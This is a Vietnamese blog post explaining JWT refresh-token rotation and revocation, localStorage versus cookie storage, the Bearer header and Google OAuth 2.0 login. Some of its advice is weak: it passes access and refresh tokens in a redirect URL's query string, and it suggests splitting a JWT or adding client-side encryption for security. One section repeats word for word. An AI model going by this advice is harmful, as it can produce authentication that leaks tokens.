4. Trả lời một vạn câu hỏi vì sao về JWT

Tại sao lại tạo một refresh token mới khi chúng ta thực hiện refresh token?

Vì nếu refresh token bị lộ, hacker có thể sử dụng nó để lấy access token mới, điều này khá nguy hiểm. Vậy nên dù refresh token có thời gian tồn tại rất lâu, nhưng cứ sau vài phút khi access token hết hạn và thực hiện refresh token thì mình lại tạo một refresh token mới và xóa refresh token cũ.

Lưu ý là cái Refresh Token mới vẫn giữ nguyên ngày giờ hết hạn của Refresh Token cũ. Cái cũ hết hạn vào 5/10/2023 thì cái mới cũng hết hạn vào 5/10/2023.

Cái này gọi là refresh token rotation.

Làm thế nào để revoke (thu hồi) một access token?

Các bạn có thể hiểu revoke ở đây nghĩa là thu hồi hoặc vô hiệu hóa

Như mình đã nói ở trên thì access token chúng ta thiết kế nó là stateless, nên không có cách nào revoke ngay lập tức đúng nghĩa được mà chúng ta phải chữa cháy thông qua websocket và revoke refresh token

Còn nếu bạn muốn revoke ngay thì bạn phải lưu access token vào trong database, khi muốn revoke thì xóa nó trong database là được, nhưng điều này sẽ làm access token không còn stateless nữa.

Làm thế nào để revoke (thu hồi) một access token?

Các bạn có thể hiểu revoke ở đây nghĩa là thu hồi hoặc vô hiệu hóa

Như mình đã nói ở trên thì access token chúng ta thiết kế nó là stateless, nên không có cách nào revoke ngay lập tức đúng nghĩa được mà chúng ta phải chữa cháy thông qua websocket và revoke refresh token

Còn nếu bạn muốn revoke ngay thì bạn phải lưu access token vào trong database, khi muốn revoke thì xóa nó trong database là được, nhưng điều này sẽ làm access token không còn stateless nữa.

Có khi nào có 2 JWT trùng nhau hay không?

Có! Nếu payload và secret key giống nhau thì 2 JWT sẽ giống nhau.

Các bạn để ý thì trong payload JWT sẽ có trường iat (issued at) là thời gian tạo ra JWT (đây là trường mặc định, trừ khi bạn disable nó). Và trường iat nó được tính bằng giây.

Vậy nên nếu chúng ta tạo ra 2 JWT trong cùng 1 giây thì lúc thì trường iat của 2 JWT này sẽ giống nhau, cộng với việc payload các bạn truyền vào giống nhau nữa thì sẽ cho ra 2 JWT giống nhau.

Ở client thì nên lưu access token và refresh token ở đâu?

Nếu trình duyệt thì các bạn lưu ở cookie hay local storage đều được, mỗi cái đều có ưu nhược điểm riêng. Nhưng cookie sẽ có phần chiếm ưu thế hơn "1 tí xíu" về độ bảo mật.

Chi tiết so sánh giữa local storage và cookie thì mình sẽ có một bài viết sau nhé.

Còn nếu là mobile app thì các bạn lưu ở bộ nhớ của thiết bị.

Gửi access token lên server như thế nào?

Sẽ có 2 trường hợp

Lưu cookie: Nó sẽ tự động gửi mỗi khi request đến server, không cần quan tâm nó.

Lưu local storage: Các bạn thêm vào header với key là Authorization và giá trị là Bearer <access_token>.

Tại sao phải thêm Bearer vào trước access token?

Thực ra bạn thêm hay không thêm thì phụ thuộc vào cách server backend họ code như thế nào.

Để mà code api authentication chuẩn, thì server nên yêu cầu client phải thêm Bearer vào trước access token. Mục đích để nói xác thực là "Bearer Authentication" (xác thực dựa trên token).

Bearer Authentication được đặt tên dựa trên từ "bearer" có nghĩa là "người mang" - tức là bất kỳ ai có token này sẽ được coi là người có quyền truy cập vào tài nguyên được yêu cầu. Điều này khác với các phương pháp xác thực khác như "Basic Authentication" (xác thực cơ bản) hay "Digest Authentication" (xác thực băm), cần sử dụng thông tin đăng nhập người dùng.

Việc thêm "Bearer" vào trước access token có một số mục đích chính:

Xác định loại xác thực: Cung cấp thông tin cho máy chủ về phương thức xác thực mà ứng dụng khách muốn sử dụng. Điều này giúp máy chủ xử lý yêu cầu một cách chính xác hơn.

Tính chuẩn mực: Sử dụng tiền tố "Bearer" giúp đảm bảo rằng các ứng dụng và máy chủ tuân theo các quy tắc chuẩn trong cách sử dụng và xử lý token.

Dễ phân biệt: Thêm "Bearer" giúp phân biệt giữa các loại token và xác thực khác nhau. Ví dụ, nếu máy chủ hỗ trợ nhiều phương thức xác thực, từ "Bearer" sẽ giúp máy chủ xác định loại xác thực đang được sử dụng dựa trên token.

Khi sử dụng Bearer Authentication, tiêu đề Authorization trong yêu cầu HTTP sẽ trông như sau:

Authorization: Bearer your_access_token

Khi tôi logout, tôi chỉ cần xóa access token và refresh token ở bộ nhớ của client là được chứ?

Nếu bạn không gọi api logout mà đơn thuần chỉ xóa access token và refresh token ở bộ nhớ của client thì bạn vẫn sẽ logout được, nhưng sẽ không tốt cho hệ thống về mặt bảo mật. Vì refresh token vẫn còn tồn tại ở database, nếu hacker có thể lấy được refresh token của bạn thì họ vẫn có thể lấy được access token mới.

Tôi có nghe về OAuth 2.0, vậy nó là gì?

OAuth 2.0 là một giao thức xác thực và ủy quyền tiêu chuẩn dành cho ứng dụng web, di động và máy tính để bàn. Nó cho phép ứng dụng của bên thứ ba (còn gọi là ứng dụng khách) truy cập dữ liệu và tài nguyên của người dùng từ một dịch vụ nhà cung cấp (như Google, Facebook, Twitter, ...) mà không cần biết thông tin đăng nhập của người dùng.

Nói đơn giản, nó chỉ là một giao thức thôi, ứng dụng là làm mấy chức năng như đăng nhập bằng google, facebook trên chính website chúng ta á.

Về cái này mình sẽ có một bài viết riêng luôn, vẫn trong series này nhé.

IV. [P4] GIẢI NGỐ AUTHENTICATION: LƯU JWT TOKEN Ở LOCAL STORAGE HAY COOKIE?

Có rất nhiều tranh cãi xung quanh việc lưu token ở đâu? Có người lưu ở Local Storage, có người lưu ở Cookie, có người lưu ở Session Storage, có người lưu ở RAM, có người lưu ở IndexedDB, có người lưu ở WebSQL, có người lưu ở đâu đó khác nữa...

Vậy thực sự thì lưu ở đâu mới tốt?

1. Tóm tắt về Access Token và Refresh Token

Access Token: Là một token có thời gian sống ngắn, được tạo ra bởi server, lưu ở client và client sẽ đính kèm nó vào HTTP request khi gửi request lên server, nhằm giúp server xác thực client.

Refresh Token: token có thời gian sống dài hơn, được lưu trong database ở server và lưu ở client, dùng để tạo ra access token mới mỗi khi access token hết hạn.

2. Lưu Access Token ở đâu?

Với đa số các dự án thì mình sẽ không chọn lưu ở Session Storage và Ram (lưu trong 1 biến của JavaScript) bởi vì:

Nếu lưu ở Session Storage thì khi bạn đóng trình duyệt đi mở lại thì session storage sẽ bị xóa => Bạn sẽ phải đăng nhập lại.

Nếu lưu ở RAM thì bạn sẽ không thể chia sẻ access token giữa các tab trình duyệt được, cũng như đóng tab thì access token sẽ mất => Bạn sẽ phải đăng nhập lại

Rõ ràng UX trong 2 trường hợp này không tốt, trừ khi yêu cầu dự án của các bạn là như vậy.

Ưu điểm

Nhanh, tiện lợi, không cần phụ thuộc vào backend để lưu trữ.

Bộ nhớ khá lớn, thường là trên 5MB

Có thể tự quyết định request nào cần access token để gửi lên server, request nào không cần

Không tự động gửi access token lên server, nên nếu bị tấn công CSRF thì attacker không thể lấy được access token của bạn.

Nhược điểm

Nếu bị tấn công XSS thì attacker có thể lấy được access token

Một website có thể bị tấn công XSS từ khá là nhiều nguồn, ví dụ như: Do chính code chúng ta viết ra có lỗ hổng, do các thư viện bên thứ 3 như React, Vue, Lodash,...

Đây là cái lý do duy nhất mà một số người anti localstorage một cách cực đoan.

Lưu ở Cookie

Ưu điểm

Không thể truy cập được từ Javascript nếu bạn set thuộc tính httpOnly, nên nếu có bị tấn công XSS thì cũng không lấy được token của bạn.

Nhược điểm

Có một cái nhược điểm đó là có thể bị tấn công CSRF, nhưng bạn có thể giải quyết bằng cách thêm một số thuộc tính cho cookie như sameSite, secure, domain, path để giảm thiểu khả năng bị tấn công CSRF.

Ngoài ra nếu dùng các framework SPA ngày nay nữa thì khả năng bị tấn công CSRF cũng không còn cao nữa. Vậy nên mình không cho đây là nhược điểm.

Vậy theo mình nhược điểm khi dùng Cookie là

Bạn không thể lấy được các payload của JWT token, vì JavaScript không truy cập được vào cookie nếu chúng ta set thuộc tính httpOnly cho cookie.

Bộ nhớ Cookie trên trình duyệt rất bé, loanh quanh 4KB thôi.

Dùng cookie thì phía backend sẽ phải xử lý thêm một số thứ như: parse cookie, set cookie, kiểm tra request đến server. Nếu đến từ browser thì parse cookie, nếu đến từ mobile app thì dùng header Authorization để lấy token...

Bạn thấy đấy, lưu ở đâu cũng có ưu nhược riêng.

Tại sao chúng ta không kết hợp cả 2 nhỉ?

Cookie đem lại ưu thế hơn 1 xíu về độ bảo mật khi so với local storage, nhưng cũng làm mất đi cái hay của JWT là có thể đọc được payload của JWT token ở client.

Có những trường hợp chúng ta cần đọc payload để biết thời gian hết hạn của token chẳng hạn, nhưng không lấy được access token ở trong cookie cũng khá là khó chịu. 

Giải quyết vấn đề này thì chúng ta có thể chia access token làm 2 phần:

Header.Payload thì lưu ở local storage

Signature thì lưu ở cookie

Khi gửi lên server thì server sẽ ghép 2 phần này lại thành 1 và kiểm tra tính hợp lệ của token.

Như vậy thì client có thể đọc được payload JWT và cũng giữ lại ưu điểm của việc lưu ở Cookie.

Vậy thì không nên lưu token ở Local Storage à?

Chúng ta cần làm rõ thế này, lưu trữ access token ở Cookie không giúp chúng ta tránh được tấn công XSS mà khi bị tấn công XSS thì hacker khó lấy được access token của bạn hơn thôi.

Nhiều người không hình dung ra được mức độ thiệt hại khi bị tấn công XSS nó lớn như thế nào.

Một website mà bị tấn công XSS nghĩa là web đấy toang, hacker có thể làm được nhiều việc nghiêm trọng hơn là lấy được access token của bạn. Ví dụ:

Điều khiển website của bạn để lừa người dùng gửi tiền vào tài khoản của hacker

Hiển thị popup yêu cầu người dùng nhập username/password để lấy thông tin người dùng

Vậy nên lưu token ở Local Storage mình thấy rất là bình thường, nó đem lại sự tiện lợi cho cả phía Front-End lẫn Back-End, không có vấn đề gì phải anti nó cả.

Muốn cân bằng giữa Cookie và Local Storage thì có thể kết hợp cả 2 như mình đã nói ở trên, rồi mã hóa thêm bằng một thuật toán nữa ở phía client cho tăng độ khó,...

Nói chung muốn bảo mật hơn thì có nhiều cách lắm, nhưng hãy nghĩ xem nó có thực sự cần thiết hay không, liệu nó có đáng để bỏ thời gian ra làm hay không.

À xíu nữa quên, nếu API chỉ nhận access token thông quan HTTP Header Authorization thì lại thêm 1 lý do nữa để chúng ta lưu token ở Local Storage rồi.

Tóm lại

XSS là game over, bất kể bạn lưu token ở đâu

Lưu token ở Local Storage hay Cookie đều ổn, không có gì phải anti cả.

Muốn cân bằng giữa ưu điểm của cả 2 thì có thể kết hợp cả 2.

Mã hóa thêm 1 vài bước ở client nếu muốn tăng độ bảo mật.

 

V. [P5] GIẢI NGỐ AUTHENTICATION: OAUTH 2.0

 

Nhiều khi tự hỏi OAuth 2.0 là gì? Nghe cao siêu thế nhỉ?

Thực ra thì nó cũng không phải gì cao siêu đâu, nó là cái giao thức để làm mấy chức năng như: Đăng nhập bằng tài khoản Google, Facebook, Github,... đó.


Shopee cũng có OAuth 2 với việc cho phép đăng nhập bằng Google, Facebook

 

OAuth 2.0, viết tắt của “Open Authorization”, là một tiêu chuẩn được thiết kế để cho phép một trang web hoặc ứng dụng thay mặt người dùng truy cập các tài nguyên được lưu trữ bởi các ứng dụng web khác.

Trước đây thì có OAuth 1.0, nhưng nó có nhiều vấn đề nên đã được thay thế bằng OAuth 2.0.

1. Đăng ký dịch vụ Google OAuth

Muốn thực hiện chức năng đăng ký / đăng nhập bằng một bênh thứ 3 như Google, Facebook, Github,... thì chúng ta cần phải đăng ký dịch vụ của họ trước, để họ biết App chúng ta là gì, cần truy cập vào thông tin gì,...

Dưới đây mình sẽ hướng dẫn mọi người đăng ký trong môi trường test, nghĩa là chúng ta sẽ đăng ký dịch vụ Google OAuth để chạy trên localhost.

Sau này muốn chạy trên domain thật thì nó có button Publish App, bạn làm theo hướng dẫn của họ là được thôi.

Ở đây mình giả sử URL của mình như sau

Client: http://localhost:3000

Server: http://localhost:4000

1. Tạo project trên Google Cloud Console

2. Tạo OAuth Consen Screen

3. Tạo Credential

Flow của Google OAuth

Mặc dù mình nói là flow Google nhưng Facebook, Github, Twitter, ... cũng tương tự như vậy. Mấy ông mạng xã hội này đều dùng chung flow OAuth 2.0 mà.

Giả sử

Website React.js của mình là https://duthanhduoc.com

Server API Express.js của mình là https://api.duthanhduoc.com

Thì flow đăng nhập bằng Google OAuth sẽ như sau:

Người dùng truy cập vào https://duthanhduoc.com/login và click vào nút Đăng nhập bằng Google

Website của mình sẽ redirect người dùng đến https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?redirect_uri=http%3A%2F%2Flocalhost%3A4000%2Fapi%2Foauth%2Fgoogle&client_id=480331042606-gm573du1155724l8f780em2fel1a5dd3.apps.googleusercontent.com&access_type=offline&response_type=code&prompt=consent&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile%20https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email&service=lso&o2v=2&flowName=GeneralOAuth Flow để người dùng chọn tài khoản đăng nhập vào Google. Các bạn để ý có mấy tham số query trên url là do website mình tự config và truyền vào. Google sẽ xác thực cái các query này để xem thử đây là App nào, đã đăng ký Consent hay chưa, có được phép truy cập vào thông tin người dùng hay không.

Người dùng chọn tài khoản Google để đăng nhập, khi đăng nhập thành công sẽ được google cho redirect về https://api.duthanhduoc.com/api/oauth/google?code=4%2F0AbUR2VPc2mJ0zoSxvWVI2XwyCV-8PwkVpIoUu1SBfV3CSYJ30orHOff_fse9GzsG0UpTtw&scope=email+profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.profile+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+openid&authuser=0&prompt=consent .Đây là url api server của mình. Lúc này các bạn cũng để ý các query phía sau url như code, scope, đây là những tham số do google tự sinh ra và gửi lại cho mình.

Server sẽ lấy được giá trị code thông qua query và tiến hành gọi lên Google API để lấy thông tin id_token và access_token.

Server sẽ lấy thông tin id_token và access_token để gọi lên Google API 1 lần nữa để lấy thông tin người dùng như email, name, avatar, ...

Có được email người dùng rồi thì kiểm tra trong database xem thử email này đã được đăng ký chưa. Nếu chưa thì tạo mới user (mật khẩu có thể cho random, sau này người dùng reset mật khẩu để đổi mật khẩu cũng được)

Tạo access_token và refresh_token

Server redirect về 

https://duthanhduoc.com/login?access_token=...&refresh_token=...

Website của mình nhận được access_token và refresh_token qua query và tiến hành lưu vào local storage để sử dụng cho các request sau. Dùng cookie thì tại bước 8 chúng ta sẽ redirect về https://duthanhduoc.com/login và set cookie ở đây.

Đấy, nói chung flow cơ bản sẽ diễn ra như thế, còn biến tấu gì thêm là tùy vào hệ thống mỗi người.

2. Nguyên tắc của OAuth 2.0

OAuth 2.0 là một giao thức ủy quyền (authorization protocol) chứ không phải là một giao thức xác thực (authentication protocol).

OAuth 2.0 sử dụng access token để ủy quyền cho các ứng dụng truy cập vào các tài nguyên người dùng. Thường thì access token này sẽ theo format JWT (JSON Web Token).

Các bên trong OAuth 2.0

Một hệ thống OAuth 2.0 bao gồm 4 bên:

Resource Owner: là người sở hữu tài nguyên, ví dụ như người dùng của ứng dụng.

Resource Server: là nơi lưu trữ tài nguyên, ví dụ như server API của ứng dụng.

Client: là ứng dụng muốn truy cập vào tài nguyên của người dùng.

Authorization Server: là nơi cấp phát access token cho client (thường là cùng một server với Resource Server).

Phạm vi của OAuth 2.0

Phạm vi (Scopes) là concept quan trọng của OAuth 2.0. Nó cho phép người dùng có thể chọn xem ứng dụng sẽ được phép truy cập vào những tài nguyên nào. Lúc mà chúng ta login thì sẽ thấy có một popup hiện lên thông báo ứng dụng sẽ truy cập vào những thông tin gì của người dùng.

 

Nguồn tham khảo:

https://duthanhduoc.com/blog/p1-giai-ngo-authentication-basic-authentication

https://duthanhduoc.com/blog/p2-giai-ngo-authentication-session

https://duthanhduoc.com/blog/p3-giai-ngo-authentication-jwt

https://duthanhduoc.com/blog/p4-luu-jwt-token-o-localstorage-hay-cookie

https://duthanhduoc.com/blog/p5-giai-ngo-authentication-OAuth2

 

Tham khảo thêm:

https://anonystick.com/blog-developer/4-co-che-dang-nhap-bai-viet-nay-la-du-cho-dan-lap-trinh-phan-1-2020091071827696

https://anonystick.com/blog-developer/co-che-dang-nhap-voi-token-hon-cookie-va-session-nhu-the-nao-phan-2-2020091142676664

https://anonystick.com/blog-developer/lap-trinh-vien-som-muon-gi-ban-cung-phai-biet-ve-co-che-dang-nhap-sso-single-signon-phan-3-2020091486458933

https://anonystick.com/blog-developer/oauth-20-la-gi-tim-hieu-co-che-va-cach-hoat-dong-dang-nhap-phan-4-cuoi-2020091636078723

 

Share:

Related Posts:

0 comments:

Đăng nhận xét

Bài Đăng Nổi Bật

Cá độ bóng đá - buôn com bào cỏ

  Tổng hợp và phân tích các hành vi gian lận trên thị trường iGaming (cờ bạc trực tuyến, cờ bạc trên internet). Các hành vi này ngày càng tr...

Tổng Số Lượt Xem Trang

27

Bài Đăng Phổ Biến